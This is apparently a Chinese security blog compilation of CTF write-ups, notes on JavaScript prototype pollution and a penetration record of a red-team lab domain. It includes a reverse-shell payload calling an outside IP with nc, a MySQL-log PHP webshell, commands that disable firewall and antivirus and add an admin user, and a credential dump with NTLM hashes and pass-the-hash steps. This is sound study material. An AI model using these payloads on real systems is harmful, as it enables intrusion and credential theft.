file_get_contents("http://bdctr.hgame.day-day.work/submit.php", false, $context);

}


?>

在经历一次rm -rf 之后,终于拿到getshell

image26112

hgame{XxE!@SsrF_4nD_f1lt3rEd_Rc3_1s_Co0l!}

sekiro

刚拿到题目的时候,我心态被第一题搞崩了,随便看了一下,就溜去打游戏了,看了wp,艹

拿到题目,是我不熟悉的nodejs

影响不大,看个大概就会了

\route\index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.post('/action', function (req, res) {
if (!req.session.sekiro) {
res.end("Session required.")
}
if (!req.session.sekiro.alive) {
res.end("You dead.")
}
var body = JSON.parse(JSON.stringify(req.body));//原型链污染起点
var copybody = clone(body)
if (copybody.solution) {
req.session.sekiro = Game.dealWithAttacks(req.session.sekiro, copybody.solution)
}
res.end("提交成功"+JSON.stringify(req.body))
})

在注释处有一个奇怪的操作,转成json再转成解析成obj

这摆明了有问题,遇到JSON.parse+merge ,思路可以往原型链污染上走一走

我们继续阅读代码

跟进dealWithAttacks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
this.dealWithAttacks = function (sekiro, solution) {
if (sekiro.attackInfo.solution !== solution) {
sekiro.health -= sekiro.attackInfo.attack
if (sekiro.attackInfo.additionalEffect) {
var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
sekiro = fn(sekiro)//look this
}
}
sekiro.posture = (sekiro.posture <= 500) ? sekiro.posture : 500
sekiro.health = (sekiro.health > 0) ? sekiro.health : 0
if (sekiro.posture == 500 || sekiro.health == 0) {
sekiro.alive = false
}
return sekiro
}
1
2
var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
sekiro = fn(sekiro)

明显的代码执行,如果我们能控制sekiro.attackInfo.additionalEffect,那么便可以执行任意代码了

我们看一下sekiro.attackInfo.additionalEffect 是如何获得的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
this.attacks = [
{
"method": "连续砍击",
"attack": 1000,
"additionalEffect": "sekiro.posture+=100",
"solution": "连续格挡"
},
{
"method": "普通攻击",
"attack": 500,
"additionalEffect": "sekiro.posture+=50",
"solution": "格挡"
},
{
"method": "下段攻击",
"attack": 1000,
"solution": "跳跃踩头"
},
{
"method": "突刺攻击",
"attack": 1000,
"solution": "识破"
},
{
"method": "巴之雷",
"attack": 1000,
"solution": "雷反"
},
]
this.getAttackInfo = function () {
return this.attacks[Math.floor(Math.random() * this.attacks.length)]
}

是从attacks中随机挑一个拿出来的,而其中某些是没有additionalEffect属性的

根据js根据原型链来查找属性的特性

我们可以用原型链污染来修改Object的additionalEffect属性

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /action HTTP/1.1
Host: sekiro.hgame.babelfish.ink
Content-Length: 169
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
Content-Type: application/json; charset=UTF-8
Referer: http://sekiro.hgame.babelfish.ink/
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=s%3A1PZpvTS3HgeMcmNynPUdu4Yd8B4A7Rlt.c2nTB%2F99oXNjyJljMJ0HZugi0SJnsE4juq2ZboRTH0g
Connection: close

{"solution":123,"__proto__":{"additionalEffect":"global.process.mainModule.constructor._load('child_process').exec('nc 39.108.164.219 60000 -e /bin/sh',function(){});"}}

content-type要设置成Content-Type: application/json

不然__proto__是无法当初键的,那么merge也就没用了

hgame{j@v4scr1pt_pr0t0tYp3-poLLut1on_4tt4ck_1s_d@ng3r20us}

misc

欢迎参加HGame!

http://rumkin.com/tools/cipher/morse.php

壁纸

就说说咋拿到密码的

压缩文件提示End of Zip archive, comment: "Password is picture ID."

利用搜索引擎(Pixiv@純白可憐)拿到密码

克苏鲁神话

解压得到一个文本和一个压缩包

观察文本和压缩包发现,二者的CRC值相同,于是考虑用明文攻击(不好意思,我是看着wiki遍历过去的)

然后拿到里面的word文档,但是是加密的,猝.

在看一下那个文本,有点像培根密码

1
2
3
4
5
6
7
8
9
10
11
s="of SuCh GrEAt powers OR beiNGS tHere may BE conCEivAbly A SuRvIval oF HuGely REmOTE periOd.".replace(" ","")[:-1]
result=""
for i in range(0,len(s),5):
temp=""
for j in range(5):
if s[i+j]==s[i+j].lower():
temp+="0"
else :
temp+="1"
result+=chr(int(temp,2)+ord('A'))
print(result)

于是拿到密码(HIDDENINTHEDOC),但是还没到头!!!!!百度一下word隐写,最后拿到flag

签到题ProPlus

解压得到password.txt和ok.zip

根据password.txt的提示,栅栏解密+凯撒密码得到压缩包密码.

拿到一堆ook直接上谷歌.ok了

base32->base64->二维码

crypto

InfantRSA

直接套脚本

Affine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import gmpy2
from secret import A, B, flag
assert flag.startswith('hgame{') and flag.endswith('}')

TABLE = 'zxcvbnmasdfghjklqwertyuiop1234567890QWERTYUIOPASDFGHJKLZXCVBNM'
MOD = len(TABLE)

cipher = ''
for b in flag:
i = TABLE.find(b)
if i == -1:
cipher += b
else:
ii = (A*i + B) % MOD
cipher += TABLE[ii]

print(cipher)
# A8I5z{xr1A_J7ha_vG_TpH410}

我们观察可以发现这其实是个单表替换加密

那么我们只要生成生成一个加密表就可以很容易的求出加密内容

但是唯一麻烦的是我们不知道A,B,但是我们知道明文的前几个字符hgame

于是有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
TABLE = 'zxcvbnmasdfghjklqwertyuiop1234567890QWERTYUIOPASDFGHJKLZXCVBNM'
MOD = len(TABLE)
cipher="A8I5z{xr1A_J7ha_vG_TpH410}"

for A in range(1,MOD):
for B in range(1,MOD):
result=""
try :
#生成加密表
TABLE2={}
for b in TABLE:
i=TABLE.find(b)
TABLE2[TABLE[(A*i + B) % MOD]]=b
#解密
for b in cipher:
ii=TABLE.find(b)

if ii==-1:
result+=b
else :
result+=TABLE2[b]
except :
pass
if "hgame" in result:
print(result)

Reorder

这个是位置移动加密,输入一个和flag长度相同的字符串就知道如何解密了

pwn

Hard_AAAAA

覆盖变量值来执行后门函数

js原型链污染

js原型链污染

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

什么是原型链

每个实例对象( object )都有一个私有属性(称之为 proto )指向它的构造函数的原型对象(prototype )。该原型对象也有一个自己的原型对象( proto ) ,层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

1
2
3
4
5
6
7
8
9
10
11
12
function Foo
{

this.a="456";
this.c="777"
}
Foo.prototype.b="123";
Foo.prototype.c="789";
var foo=new Foo();
console.log(foo.a);//456
console.log(foo.b);//123
console.log(foo.c);//777

当在当前对象找不到属性或方法时便会向上(__proto__中)寻找

  1. 在对象foo中寻找b
  2. 如果找不到,则在foo.__proto__中寻找b
  3. 如果仍然找不到,则继续在foo.__proto__.__proto__中寻找b
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。

以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:

  1. 每个构造函数(constructor)都有一个原型对象(prototype)
  2. 对象的__proto__属性,指向类的原型对象prototype
  3. JavaScript使用prototype链实现继承机制

什么时原型链污染

当我们修改对象的__proto__属性时,就相当于修改对象的父类

当调用不存在的方法或属性时便会在父类中寻找,就变相的控制了这个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

哪些情况原型链会被污染

merge

clone

JSON.parse

jQuery.extend

$.extend( target [, object1 ] [, objectN ] )

指示是否深度合并

$.extend( [deep ], target, object1 [, objectN ] )

警告: 不支持第一个参数传递 false 。

参数 描述
deep 可选。 Boolean类型 指示是否深度合并对象,默认为false。如果该值为true,且多个对象的某个同名属性也都是对象,则该”属性对象”的属性也将进行合并。
target Object类型 目标对象,其他对象的成员属性将被附加到该对象上。
object1 可选。 Object类型 第一个被合并的对象。
objectN 可选。 Object类型 第N个被合并的对象。

例题

题目代码

car.class.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
class Car {
constructor(type, model, color, pic, key="") {
this.type = type
this.model = model
this.color = color
this.key = key
this.pic = pic

let started = false
this.start = () => {
started = true
}
this.isStarted = () => {
return started
}
}
powerOn() {
if (this.isStarted()) {
infobox(`Well Done!`)
nextCar()

} else {
$('.chargeup')[0].play()
}
}
info() {
infobox(`This car is a ${this.type} ${this.model} in ${this.color}. It looks very nice! But it seems to be broken ...`)
}
repair() {
if(urlParams.has('repair')) {
$.extend(true, this, JSON.parse(urlParams.get('repair')))
}
}
light() {
infobox(`You turn on the lights ... Nothing happens.`)
}
battery() {
infobox(`Hmmm, the battery is almost empty ... Maybe i can repair this somehow.`)
}
ignition() {
if (this.key == "") {
infobox(`Looks like the key got lost. No wonder the car is not starting ...`)
}
if (this.key == "🔑") {
infobox(`The car started!`)
this.start()
}
}
}

util.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
const urlParams = new URLSearchParams(window.location.search)
const h = location.hash.slice(1)
const bugatti = new Car('Bugatti', 'T35', 'green', 'assets/images/bugatti.png')
const porsche = new Car('Porsche', '911', 'yellow', 'assets/images/porsche.png')

const cars = [bugatti, porsche]

porsche.repair = () => {
if(!bugatti.isStarted()){
infobox(`Not so fast. Repair the other car first!`)
}
else if($.md5(porsche) == '9cdfb439c7876e703e307864c9167a15'){
if(urlParams.has('help')) {
repairWithHelper(urlParams.get('help'))
}
}
else{
infobox(`Repairing this is not that easy.`)
}
}
porsche.ignition = () => {
infobox(`Hmm ... WTF!`)
}

$(document).ready(() => {
const [car] = cars
$('.fa-power-off').click(() => car.powerOn())
$('.fa-car').click(() => car.info())
$('.fa-lightbulb-o').click(() => car.light())
$('.fa-battery-quarter').click(() => car.battery())
$('.fa-key').click(() => car.ignition())
$('.fa-wrench').click(() => car.repair())

$('.fa-step-forward').click(() => nextCar())

if(h.includes('Bugatti'))
autoStart(bugatti)
if(h.includes('Porsche'))
autoStart(porsche)
})


const nextCar = () => {
cars.push(cars.shift())
$(".image").attr('src', cars[0].pic);
}


const autoStart = (car) => {
car.repair()
car.ignition()
car.powerOn()
}


const repairWithHelper = (src) => {
/* who needs csp anyways !? */
urlRegx = /^\w{4,5}:\/\/car-repair-shop\.fluxfingersforfuture\.fluxfingers\.net\/[\w\d]+\/.+\.js$/;
if (urlRegx.test(src)) {
let s = document.createElement('script')
s.src = src
$('head').append(s)
}
}


const infobox = (text) => {
$('a').css({'pointer-events': 'none', 'border': 'none'})
$('.infobox').addClass('infoAnimate')
.text(text)
.on('animationend', function() {
$(this).removeClass('infoAnimate')
$('a').css({'pointer-events': 'all', 'border': 'solid 1px rgba(255, 255, 255, .25)'})
})

}

阅读代码发现car类的repair方法会调用

$.extend(true, this, JSON.parse(urlParams.get('repair')))

可以进行原型链污染

而这一题我们的目标时进行xss

阅读代码发现对象porsche的repairWithHelper中可以进行xss

而调用repairWithHelper方法就需要调用porsche的repair方法

1
2
3
4
5
if($.md5(porsche) == '9cdfb439c7876e703e307864c9167a15'){
if(urlParams.has('help')) {
repairWithHelper(urlParams.get('help'))
}
}

我们用控制porsche.toString()==’lol’(lol的md5是9cdfb439c7876e703e307864c9167a15),我们可以通过原型链污染来让上层为['lol']([‘lol’].toString()==’lol’)

通过autoStart来调用bugatti.repair(原型链污染)和porsche.repair(调用repairWithHelper方法)

所以构造payload:http://127.0.0.1/?repair={"started":true,"__proto__":{"__proto__":["lol"]}}

接下来就是利用repairWithHelper来进行xss

1
2
3
4
5
6
7
8
9
const repairWithHelper = (src) => {
/* who needs csp anyways !? */
urlRegx = /^\w{4,5}:\/\/car-repair-shop\.fluxfingersforfuture\.fluxfingers\.net\/[\w\d]+\/.+\.js$/;
if (urlRegx.test(src)) {
let s = document.createElement('script')
s.src = src
$('head').append(s)
}
}

虽然这里对url的域名进行了限制不能远程文件包含

但是我们可以利用data协议来绕过正则从而直接执行命令

data协议格式

1
data:[<mime type>][;charset=<charset>][;base64],<encoded data>

最后的payload: http://127.0.0.1/?repair={"key":"🔑","__proto__":{"__proto__":["lol"]}}&help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/asdfsdf/asdf,alert("123")%23.js#BugattiPorsche

避免rm -rf *的悲惨命运

避免rm -rf *的悲惨命运

今天又是悲惨的一天,没认真看,rm -rf *错地方了

为了再次避免悲惨命运

  1. 还是不要老是用root用户了,创个日常的低权限用户,有必要时再登陆root

  2. 别用rm 啦,改用trash吧

安装trash-cli

apt-get install trash-cli

echo alias rm=trash >> ~/.zshrc

source ~/.zshrc

trash-cli 命令

command explain
trash-put/trash 将文件或目录放进回收站
trash-empty 清空回收站
trash-list 列出回收站中的文件
restore-trash 还原回收站中的文件
trash-rm 删除回收站中的单个文件

垃圾站所在位置

~/.local/share/Trash/files

vulnstackATT&CK红队评估靶场1渗透记录

vulnstackATT&CK红队评估靶场1渗透记录

主机发现

已知靶机在192.168.2.*上

1
2
3

[*] Nmap: Nmap scan report for stu1.lan (192.168.2.142)
[*] Nmap: Nmap scan report for kali.lan (192.168.2.158)

目标就是192.168.2.142

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-16 10:48 CST
[*] Nmap: Stats: 0:03:23 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
[*] Nmap: SYN Stealth Scan Timing: About 54.92% done; ETC: 10:54 (0:02:47 remaining)
[*] Nmap: Stats: 0:03:23 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
[*] Nmap: SYN Stealth Scan Timing: About 54.97% done; ETC: 10:54 (0:02:47 remaining)
[*] Nmap: Stats: 0:04:40 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
[*] Nmap: SYN Stealth Scan Timing: About 75.24% done; ETC: 10:54 (0:01:32 remaining)
[*] Nmap: Nmap scan report for stu1.lan (192.168.2.142)
[*] Nmap: Host is up (0.00062s latency).
[*] Nmap: Not shown: 65523 closed ports
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 80/tcp open http
[*] Nmap: 135/tcp open msrpc
[*] Nmap: 139/tcp open netbios-ssn
[*] Nmap: 445/tcp open microsoft-ds
[*] Nmap: 1025/tcp open NFS-or-IIS
[*] Nmap: 1026/tcp open LSA-or-nterm
[*] Nmap: 1027/tcp open IIS
[*] Nmap: 1028/tcp open unknown
[*] Nmap: 1029/tcp open ms-lsa
[*] Nmap: 1030/tcp open iad1
[*] Nmap: 3306/tcp open mysql
[*] Nmap: 3389/tcp open ms-wbt-server
[*] Nmap: MAC Address: 00:0C:29:A7:C1:B2 (VMware)

web服务

先去看看web服务吧

1
2
3
4
[10:52:41] 200 -   11B  - /index.php
[10:52:45] 200 - 71KB - /phpinfo.php
[10:52:45] 200 - 4KB - /phpMyAdmin/
[10:52:53] 200 - 2B - /1.php

看了一下只有phpmyadmin有用

试着弱密码登陆,不直接用mysql客户端登陆是因为怕他们禁止远程ip

网上随便找了一个爆破phpmyadmin的

image1782

弱密码登陆成功

尝试sql写shell

1
2
3
4
5
6
7
8
9
10
11
1. select "test" into outfile "C:/phpStudy/WWW/test.php";
2. 日志写shell
mysql> show variables like '%general%'#先看下当前mysql默认的日志位置在什么地方,'C:\phpStudy\MySQL\data\stu1.log' 顺手把原来正常的日志路径稍微记录下,等会儿干完活儿再把它恢复回来
mysql> set global general_log = on#默认基本都是关闭的,不然这个增删改查的记录量可能会非常大
mysql> set global general_log_file = 'C:/phpStudy/WWW/test.php';#此时,再把原本的日志文件位置指向到目标网站的物理路径
mysql> select '<?php eval($_POST[request]);?>'#开始写shell,这里就是个普通的shell,不免杀,如果有waf的话,可以用下面的免杀shell


##写完之后记得恢复
mysql> set global general_log_file = 'C:\phpStudy\MySQL\data\stu1.log';
mysql> set global general_log = off;

image2457

成功写入shell

image2535

直接拿到管理员权限了

meterpreter后攻击

1
2
3
4
5
netsh advfirewall set allprofiles state off#关闭防火墙
net stop windefend
netsh firewall set opmode mode=disable
bcdedit.exe /set{current} nx AlwaysOff#关闭DEP
meterpreter > run killav 关闭杀毒软件

设置代理

1
2
3
4
5
6
7
8
9
10
msfvenom -p php/meterpreter/reverse_tcp -a php -f raw > /tmp/2.php
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
show options
run autoroute -s 192.168.52.143
msf > use auxiliary/server/socks4a 设置socks4代理模块
msf auxiliary(socks4a) > show options
msf auxiliary(socks4a) > run
vim /etc/proxychains.conf 修改代理监听端口,和前面端口一致

用msf设置的代理不知道为啥不太稳定

于是我用reGeorg来设置代理

emmmm,还是ew好用

内网渗透

因为socks无法代理icmp协议(ping使用的),所以namp要用-Pn选项

1
2
3
4
5
6
7
8
9
10
11
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-16 13:50 ?D1��������?����??
Nmap scan report for 192.168.52.138
Host is up (0.00s latency).
MAC Address: 00:0C:29:3F:5D:A9 (VMware)
Nmap scan report for 192.168.52.141
Host is up (0.00s latency).
MAC Address: 00:0C:29:6D:39:34 (VMware)
Nmap scan report for www.qiyuanxuetang.net (192.168.52.143)
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 5.01 seconds

接下来的目标是192.168.52.138,192.168.52.141

192.168.52.138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-16 13:57 ?D1��������?����??
Nmap scan report for 192.168.52.138
Host is up (0.00031s latency).
Not shown: 983 filtered ports
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
MAC Address: 00:0C:29:3F:5D:A9 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.04 seconds

Running: Microsoft Windows 7|8|Vista|2008

192.168.52.141

1
2
3
4
5
6
7
8
9
10
11
12
13
21/tcp   open  ftp
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
777/tcp open multiling-http
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1030/tcp open iad1
1031/tcp open iad2
6002/tcp open X11:2
7001/tcp open afs3-callback
7002/tcp open afs3-prserver
8099/tcp open unknown

Running: Microsoft Windows XP|2003

弱密码登陆ftp,发现啥也弄不了动不动500

因为操作系统比较旧,可以试试MS17-010,成功!

但是只有ms17_010_command才利用成功,只能一次一次set command来执行命令

后来找到cmd/windows/powershell_bind_tcp

能直接返回一个powershell

添加用户

1
2
3
net user ccreater Abc1234 /add
net localgroup administrators ccreater /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

域控

1
2
3
4
5
6
7
8
9
10
11
12
net group "domain controllers" /domain 
得到域控制器主机名:OWA
wmic qfe
查询安装补丁
http://support.microsoft.com/?kbid=976902 OWA Update KB976902 GOD\Administrator 11/21/2010

net user /domain
查询域所有用户
-------------------------------------------------------------------------------
Administrator gqy Guest
krbtgt ligang liukaifeng01

没有安装kb3011780,可以将任何一个域用户提权至域管理员权限

域控的ip是:192.168.52.138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
Authentication Id : 0 ; 996 (00000000:000003e4)
Domain : GOD / S-1-5-21-2952760202-1353902439-2381784089
Session : Service from 0
User Name : OWA$
Domain : GOD
Logon Server : (null)
Logon Time : 2020/2/16 20:59:23
SID : S-1-5-20
msv :
[00000003] Primary
* Username : OWA$
* Domain : GOD
* NTLM : f8ddc71a57488df64708651271185969
* SHA1 : 93d8566dd8e60d8a6bf47d86fd8c1d47a82bacdf
tspkg :
wdigest :
* Username : OWA$
* Domain : GOD
* Password : 03 eb 3e 5e bb 37 5d 2d a7 1c c3 e8 c2 10 2f 82 95 04 cf 25 e8 fb c2 be 28 71 04 c9 5a 22 11 36 2c 07 b3 f1 83 45 67 70 b7 2b 2c 89 44 76 e6 b9 5f 50 79 31 d6 8b a4 6e fb 28 2f bf c8 14 ee e6 c0 00 9f 5c f2 28 26 ef 97 99 74 5e 8a c2 10 86 0e ad 05 05 08 7c 8e ec e7 49 e9 eb df a6 80 2a c7 43 1c 27 6c cf 76 ff 89 ec 03 ed b2 c7 79 45 36 97 31 20 db c8 b3 2d 6f cb d5 53 d2 a1 e0 e7 18 86 94 2e c2 a8 8e 46 4c 54 01 dd 30 c5 0d 7e ce de 7e b5 ff a1 6b e5 34 a6 c2 dc 0d 57 0f 99 1b bf e1 49 a2 92 37 19 76 df 97 eb 5f 52 7c 21 ae 93 e3 5e ed 2d 87 17 6c f9 e2 12 9a d9 32 a3 33 a2 3b 8f 6d 38 f7 7b fb b5 bb 3b cb 1a 93 7a 98 e3 b9 60 ed 5d 74 89 1b d0 d0 90 56 54 7f 02 93 72 8a da 03 e8 cc f6 1b e0 be 0f 54 3e 57 65
kerberos :
* Username : owa$
* Domain : GOD.ORG
* Password : 03 eb 3e 5e bb 37 5d 2d a7 1c c3 e8 c2 10 2f 82 95 04 cf 25 e8 fb c2 be 28 71 04 c9 5a 22 11 36 2c 07 b3 f1 83 45 67 70 b7 2b 2c 89 44 76 e6 b9 5f 50 79 31 d6 8b a4 6e fb 28 2f bf c8 14 ee e6 c0 00 9f 5c f2 28 26 ef 97 99 74 5e 8a c2 10 86 0e ad 05 05 08 7c 8e ec e7 49 e9 eb df a6 80 2a c7 43 1c 27 6c cf 76 ff 89 ec 03 ed b2 c7 79 45 36 97 31 20 db c8 b3 2d 6f cb d5 53 d2 a1 e0 e7 18 86 94 2e c2 a8 8e 46 4c 54 01 dd 30 c5 0d 7e ce de 7e b5 ff a1 6b e5 34 a6 c2 dc 0d 57 0f 99 1b bf e1 49 a2 92 37 19 76 df 97 eb 5f 52 7c 21 ae 93 e3 5e ed 2d 87 17 6c f9 e2 12 9a d9 32 a3 33 a2 3b 8f 6d 38 f7 7b fb b5 bb 3b cb 1a 93 7a 98 e3 b9 60 ed 5d 74 89 1b d0 d0 90 56 54 7f 02 93 72 8a da 03 e8 cc f6 1b e0 be 0f 54 3e 57 65
ssp :
credman :

Authentication Id : 0 ; 47752 (00000000:0000ba88)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2020/2/16 20:59:18
SID :
msv :
[00000003] Primary
* Username : OWA$
* Domain : GOD
* NTLM : f8ddc71a57488df64708651271185969
* SHA1 : 93d8566dd8e60d8a6bf47d86fd8c1d47a82bacdf
* NTLM : f8ddc71a57488df64708651271185969:93d8566dd8e60d8a6bf47d86fd8c1d47a82bacdf
tspkg :
wdigest :
kerberos :
ssp :
credman :

Authentication Id : 0 ; 995 (00000000:000003e3)
Session : Service from 0
User Name : IUSR
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2020/2/16 21:00:06
SID : S-1-5-17
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
ssp :
credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2020/2/16 20:59:23
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : OWA$
Domain : GOD
Logon Server : (null)
Logon Time : 2020/2/16 20:59:17
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : OWA$
* Domain : GOD
* Password : 03 eb 3e 5e bb 37 5d 2d a7 1c c3 e8 c2 10 2f 82 95 04 cf 25 e8 fb c2 be 28 71 04 c9 5a 22 11 36 2c 07 b3 f1 83 45 67 70 b7 2b 2c 89 44 76 e6 b9 5f 50 79 31 d6 8b a4 6e fb 28 2f bf c8 14 ee e6 c0 00 9f 5c f2 28 26 ef 97 99 74 5e 8a c2 10 86 0e ad 05 05 08 7c 8e ec e7 49 e9 eb df a6 80 2a c7 43 1c 27 6c cf 76 ff 89 ec 03 ed b2 c7 79 45 36 97 31 20 db c8 b3 2d 6f cb d5 53 d2 a1 e0 e7 18 86 94 2e c2 a8 8e 46 4c 54 01 dd 30 c5 0d 7e ce de 7e b5 ff a1 6b e5 34 a6 c2 dc 0d 57 0f 99 1b bf e1 49 a2 92 37 19 76 df 97 eb 5f 52 7c 21 ae 93 e3 5e ed 2d 87 17 6c f9 e2 12 9a d9 32 a3 33 a2 3b 8f 6d 38 f7 7b fb b5 bb 3b cb 1a 93 7a 98 e3 b9 60 ed 5d 74 89 1b d0 d0 90 56 54 7f 02 93 72 8a da 03 e8 cc f6 1b e0 be 0f 54 3e 57 65
kerberos :
* Username : owa$
* Domain : GOD.ORG
* Password : 03 eb 3e 5e bb 37 5d 2d a7 1c c3 e8 c2 10 2f 82 95 04 cf 25 e8 fb c2 be 28 71 04 c9 5a 22 11 36 2c 07 b3 f1 83 45 67 70 b7 2b 2c 89 44 76 e6 b9 5f 50 79 31 d6 8b a4 6e fb 28 2f bf c8 14 ee e6 c0 00 9f 5c f2 28 26 ef 97 99 74 5e 8a c2 10 86 0e ad 05 05 08 7c 8e ec e7 49 e9 eb df a6 80 2a c7 43 1c 27 6c cf 76 ff 89 ec 03 ed b2 c7 79 45 36 97 31 20 db c8 b3 2d 6f cb d5 53 d2 a1 e0 e7 18 86 94 2e c2 a8 8e 46 4c 54 01 dd 30 c5 0d 7e ce de 7e b5 ff a1 6b e5 34 a6 c2 dc 0d 57 0f 99 1b bf e1 49 a2 92 37 19 76 df 97 eb 5f 52 7c 21 ae 93 e3 5e ed 2d 87 17 6c f9 e2 12 9a d9 32 a3 33 a2 3b 8f 6d 38 f7 7b fb b5 bb 3b cb 1a 93 7a 98 e3 b9 60 ed 5d 74 89 1b d0 d0 90 56 54 7f 02 93 72 8a da 03 e8 cc f6 1b e0 be 0f 54 3e 57 65
ssp :
credman :
** SAM ACCOUNT **

SAM Username : krbtgt
Object Security ID : S-1-5-21-2952760202-1353902439-2381784089-502
Object Relative ID : 502

Credentials:
Hash NTLM: 58e91a5ac358d86513ab224312314061

Object RDN : Read-only Domain Controllers

** SAM ACCOUNT **

SAM Username : Administrator
Object Security ID : S-1-5-21-2952760202-1353902439-2381784089-500
Object Relative ID : 500

Credentials:
Hash NTLM: a45a7246dd74b64a67f22fd7020f1bd8

Object RDN : Administrators


502 krbtgt 58e91a5ac358d86513ab224312314061
1106 ligang 1e3d22f88dfd250c9312d21686c60f41
1107 DEV1$ bed18e5b9d13bb384a3041a10d43c01b
1104 ROOT-TVI862UBEH$ 5604267003351107febdc6ed4e2dfdce
1105 STU1$ cb45e05d22e8106184056e55ac541149
500 Administrator a45a7246dd74b64a67f22fd7020f1bd8
1001 OWA$ f8ddc71a57488df64708651271185969
1108 gqy aa3afe73b6e0c2d87b3a428bf696ae71
1000 liukaifeng01 a45a7246dd74b64a67f22fd7020f1bd8

可惜没有明文密码

利用pth登陆Administrator

先导出system 和 NTDS.dit

1
2
3
4
5
ntdsutil "ac i ntds" ifm "create full c:\users\tmp" q q

NTDSDumpEx -d ntds.dit -s system -o domain.txt
得到hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a45a7246dd74b64a67f22fd7020f1bd8:::

用msf上的exploit/windows/smb/psexec来进行pth攻击

1
2
3
4
5
6
7
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost xxx
set lport xxx
set rhosts 192.168.52.138
set smbuser Administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:a45a7246dd74b64a67f22fd7020f1bd8

image12506

域渗透

域渗透学习笔记

名词/缩写

活动目录(Active Directory),AD:活动目录是WindowsServer在网络环境中提供的“资源目录”。活动目录是储存着域中相关资源信息的目录,例如计算机,用户组,数据库,服务器,打印机,用户属性(权限等),就像一个数据库。
域控(Domain Controller),DC:安装了AD的服务器就是域控制器,即有AD的计算机就是DC。

什么是域

